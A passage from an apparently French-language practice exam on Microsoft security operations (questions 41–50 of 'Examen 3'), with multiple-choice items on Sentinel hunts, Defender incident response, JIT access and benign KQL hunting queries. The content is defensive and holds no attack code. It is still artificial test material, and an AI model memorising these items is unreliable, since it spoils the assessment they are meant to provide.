D. Le moteur de corrélation de Defender XDR crée et regroupe les incidents à partir des alertes Sentinel et Defender, au lieu de la logique de création d'incidents propre à Sentinel.

Examen 3 — Question 41 (Effectuer la chasse aux menaces)

Suite à un rapport d'analyse des menaces sur un nouvel acteur, le SOC veut organiser une chasse : formuler une hypothèse, regrouper les requêtes, suivre l'état et documenter les conclusions. Quelle fonctionnalité Sentinel est conçue pour cela ?

A. Les optimisations SOC.

B. Les règles d'automatisation.

C. Les chasses (Hunts) de Microsoft Sentinel.

D. Les classeurs uniquement.

Examen 3 — Question 42 (Répondre aux incidents de sécurité)

Les utilisateurs se plaignent que les e-mails avec pièces jointes arrivent avec retard depuis l'activation des pièces jointes sécurisées en mode « Bloquer ». Quelle option permet de remettre immédiatement le corps du message pendant l'analyse de la pièce jointe ?

A. Les liens sécurisés.

B. Désactiver les pièces jointes sécurisées.

C. La remise dynamique (Dynamic Delivery).

D. Le mode « Surveiller » (Monitor).

Examen 3 — Question 43 (Répondre aux incidents de sécurité)

Scénario D (suite) : la connexion de Montréal provient d'un appareil inconnu, sans conformité, avec un agent utilisateur de script, et a accédé à OneDrive. **Question :** quelle est la meilleure réponse ?

A. Fermer l'alerte comme faux positif lié au VPN.

B. Bloquer OneDrive pour toute l'entreprise.

C. Confirmer la compromission (marquer l'utilisateur compromis), révoquer les sessions, réinitialiser les identifiants et examiner les accès OneDrive depuis cette IP.

D. Isoler le poste de p.durand à Lyon.

Examen 3 — Question 44 (Répondre aux incidents de sécurité)

Une alerte signale une attaque par force brute RDP réussie sur une VM Azure exposée sur Internet. Quelle séquence de réponse est la plus appropriée ?

A. Supprimer la VM sans investigation.

B. Ignorer l'alerte car RDP est un service légitime.

C. Augmenter la taille de la VM.

D. Contenir la VM (restreindre le NSG/isoler via MDE), désactiver ou réinitialiser le compte compromis, investiguer l'activité post-connexion (processus, persistance), puis fermer l'exposition (JIT ou Bastion).

Examen 3 — Question 45 (Effectuer la chasse aux menaces)

Besoin : lister les connexions réussies à facteur unique de comptes possédant un rôle privilégié Entra ID. Quelle requête est correcte ?

A.

REQUÊTE KQL

```
IdentityInfo
| where TimeGenerated > ago(14d)
| where IsMFARegistered == false
```

B.

REQUÊTE KQL

```
let Privilegies = IdentityInfo
| where TimeGenerated > ago(14d)
| summarize arg_max(TimeGenerated, AssignedRoles) by AccountUPN
| where array_length(AssignedRoles) > 0
| project Upn = tolower(AccountUPN), AssignedRoles;
SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType == "0" and AuthenticationRequirement == "singleFactorAuthentication"
| extend Upn = tolower(UserPrincipalName)
| join kind=inner Privilegies on Upn
| summarize Connexions = count(), Applications = make_set(AppDisplayName, 10) by Upn,
tostring(AssignedRoles)
```

C.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(7d)
| where ResultType == "0"
| summarize count() by AppDisplayName
```

D.

REQUÊTE KQL

```
SigninLogs
| where TimeGenerated > ago(7d)
| where AuthenticationRequirement == "multiFactorAuthentication"
```

Examen 3 — Question 46 (Répondre aux incidents de sécurité)

Les ports RDP et SSH des VM Azure sont ouverts en permanence sur Internet pour l'administration. Quelle fonctionnalité de Defender for Cloud réduit cette exposition tout en permettant l'administration ?

A. L'analyse de malware sans agent.

B. La surveillance de l'intégrité des fichiers.

C. L'accès juste-à-temps (JIT), qui ferme les ports de gestion par défaut et ne les ouvre, sur demande approuvée, que pour une durée et une IP source limitées.

D. Le Secure Score.

Examen 3 — Question 47 (Gérer un environnement d'opérations de sécurité)

Un responsable SOC veut identifier les tables coûteuses qui ne sont utilisées par aucune règle de détection ni requête, et les lacunes de couverture face à des menaces précises. Quelle fonctionnalité intégrée fournit ces recommandations ?

A. Le Secure Score de Microsoft Defender XDR.

B. Le classeur « Workspace Usage Report » uniquement.

C. Les optimisations SOC (SOC optimization) de Microsoft Sentinel.

D. Microsoft Purview Compliance Manager.

Examen 3 — Question 48 (Répondre aux incidents de sécurité)

Scénario B (suite) : PowerShell sur PC-0423 a établi une connexion HTTPS vers 198.51.100.23 et créé une tâche planifiée. **Question :** quelle action immédiate privilégier ?

A. Supprimer la tâche planifiée et laisser le poste connecté.

B. Désinstaller Office sur le poste.

C. Isoler PC-0423 via MDE (isolation complète), puis collecter le package d'investigation.

D. Éteindre le poste.

Examen 3 — Question 49 (Gérer un environnement d'opérations de sécurité)

Une entreprise possède trois espaces Sentinel (Europe, Amériques, Asie) dans un même locataire et les connecte au portail Defender. Quelle affirmation est exacte ?

A. Le portail Defender n'accepte qu'un seul espace Sentinel par locataire.

B. Les trois espaces sont fusionnés en un seul espace de travail physique.

C. Chaque espace nécessite un locataire Microsoft Entra distinct.

D. Un espace est désigné comme espace principal ; les autres sont connectés comme espaces secondaires, et les incidents et la chasse avancée tiennent compte de cette organisation.

Examen 3 — Question 50 (Répondre aux incidents de sécurité)

Defender for Cloud signale des appels API AWS suspects (énumération IAM, désactivation de CloudTrail) depuis une clé d'accès d'un utilisateur IAM, au moment où MDE détecte un vol d'identifiants sur le poste d'un développeur. Que faut-il faire ?

A. Ignorer l'alerte AWS car Defender for Cloud ne surveille qu'Azure.

B. Traiter les deux alertes comme un même incident probable : désactiver la clé d'accès AWS compromise, réactiver la journalisation CloudTrail, isoler le poste du développeur, puis rechercher d'autres secrets cloud exposés sur ce poste.

C. Traiter séparément et sans lien les deux alertes, car elles concernent deux clouds différents.

D. Supprimer le compte AWS de l'organisation.